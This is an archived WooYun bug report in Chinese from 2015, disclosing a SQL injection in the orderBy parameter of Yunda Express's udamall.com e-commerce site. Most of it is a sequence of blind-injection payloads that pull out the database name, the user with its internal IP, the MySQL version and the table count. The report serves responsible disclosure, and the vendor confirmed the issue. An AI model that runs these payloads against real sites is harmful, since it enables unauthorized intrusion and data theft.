破壳企业应急安全(防御方向)课程 应急响应 勒索病毒 挖矿木马 DDOS 日志分析

韵达快递旗下跨境电商平台SQL注入漏洞

编号120383
Urlhttp://www.wooyun.org/bug.php?action=view&id=120383
漏洞状态厂商已经确认
漏洞标题韵达快递旗下跨境电商平台SQL注入漏洞
漏洞类型
厂商韵达快递
白帽子harbour_bin
提交日期2015-06-14 11:09:00
公开日期2015-07-30 10:08:00
修复时间(not set)
确认时间2015-06-15 00:00:00
Confirm Spend1
漏洞标签Mysql 注射技巧
关注数0
收藏数0
白帽评级
白帽自评rank15
厂商评级
厂商评rank10
漏洞简介
韵达快递旗下跨境电商平台SQL注入漏洞
漏洞细节

URL:http://www.udamall.com/cn/index.php/gallery-ajax_get_goods.html
POST:brand_id[]=153&orderBy=buy_w_count desc&showtype=grid&gTag[]=15&page=1
注入点:orderBy


brand_id[]=153&orderBy=buy_w_count  and 1=1 desc&showtype=grid&gTag[]=15&page=1
brand_id[]=153&orderBy=buy_w_count and 1=2 desc&showtype=grid&gTag[]=15&page=1


猜解数据库名
brand_id[]=153&orderBy=buy_w_count and length(database())=7 desc&showtype=grid&gTag[]=15&page=1
brand_id[]=153&orderBy=buy_w_count and substring(database(),1,1)=char(117) desc&showtype=grid&gTag[]=15&page=1
u
brand_id[]=153&orderBy=buy_w_count and substring(database(),2,1)=char(100) desc&showtype=grid&gTag[]=15&page=1
d
brand_id[]=153&orderBy=buy_w_count and substring(database(),3,1)=char(97) desc&showtype=grid&gTag[]=15&page=1
a
brand_id[]=153&orderBy=buy_w_count and left(database(),7)=char(117,100,97,109,97,108,108) desc&showtype=grid&gTag[]=15&page=1
数据库名: udamall


猜用户名
brand_id[]=153&orderBy=buy_w_count and length(user())=17 desc&showtype=grid&gTag[]=15&page=1
brand_id[]=153&orderBy=buy_w_count and substring(user(),1,1)=char(117) desc&showtype=grid&gTag[]=15&page=1
u
brand_id[]=153&orderBy=buy_w_count and left(user(),7)=char(117,100,97,109,97,108,108) desc&showtype=grid&gTag[]=15&page=1
udamall
brand_id[]=153&orderBy=buy_w_count and substring(user(),8,1)=char(64) desc&showtype=grid&gTag[]=15&page=1
@
brand_id[]=153&orderBy=buy_w_count and substring(user(),9,1)=char(49) desc&showtype=grid&gTag[]=15&page=1
1
brand_id[]=153&orderBy=buy_w_count and substring(user(),10,1)=char(48) desc&showtype=grid&gTag[]=15&page=1
0
brand_id[]=153&orderBy=buy_w_count and substring(user(),11,1)=char(46) desc&showtype=grid&gTag[]=15&page=1
.
brand_id[]=153&orderBy=buy_w_count and substring(user(),12,1)=char(48) desc&showtype=grid&gTag[]=15&page=1
0
brand_id[]=153&orderBy=buy_w_count and substring(user(),13,1)=char(46) desc&showtype=grid&gTag[]=15&page=1
.
brand_id[]=153&orderBy=buy_w_count and substring(user(),14,1)=char(50) desc&showtype=grid&gTag[]=15&page=1
2
brand_id[]=153&orderBy=buy_w_count and substring(user(),15,1)=char(46) desc&showtype=grid&gTag[]=15&page=1
.
brand_id[]=153&orderBy=buy_w_count and substring(user(),16,1)=char(52) desc&showtype=grid&gTag[]=15&page=1
4
brand_id[]=153&orderBy=buy_w_count and substring(user(),17,1)=char(50) desc&showtype=grid&gTag[]=15&page=1
2
用户名:[email protected]


brand_id[]=153&orderBy=buy_w_count  and left(version(),3)=char(53,46,54) desc&showtype=grid&gTag[]=15&page=1
版本:5.6


brand_id[]=153&orderBy=buy_w_count and (select count(1) from information_schema.tables)=408 desc&showtype=grid&gTag[]=15&page=1
408个表

POC

数据库名:udamall
用户名:[email protected]
版本号:Mysql5.6
表数:408个


修改substring(database(),1,1)为if(substring(database(),1,1),sleep(2),0)可以执行,本想根据这个编写Python脚本,水平有限,出问题了,就不贴出来了


部分图片证明:

uda_1=1.jpg


uda_1=2.jpg


uda_1 2.jpg


user.jpg

修复方案

你们更专业!

状态信息 2015-06-14: 细节已通知厂商并且等待厂商处理中
2015-06-15: 厂商已经确认,细节仅向厂商公开
2015-06-25: 细节向核心白帽子及相关领域专家公开
2015-07-05: 细节向普通白帽子公开
2015-07-15: 细节向实习白帽子公开
2015-07-30: 细节向公众公开
厂商回复感谢指出,我们会尽快修复,辛苦了
回应信息危害等级:中漏洞Rank:10 确认时间:2015-06-15 10:06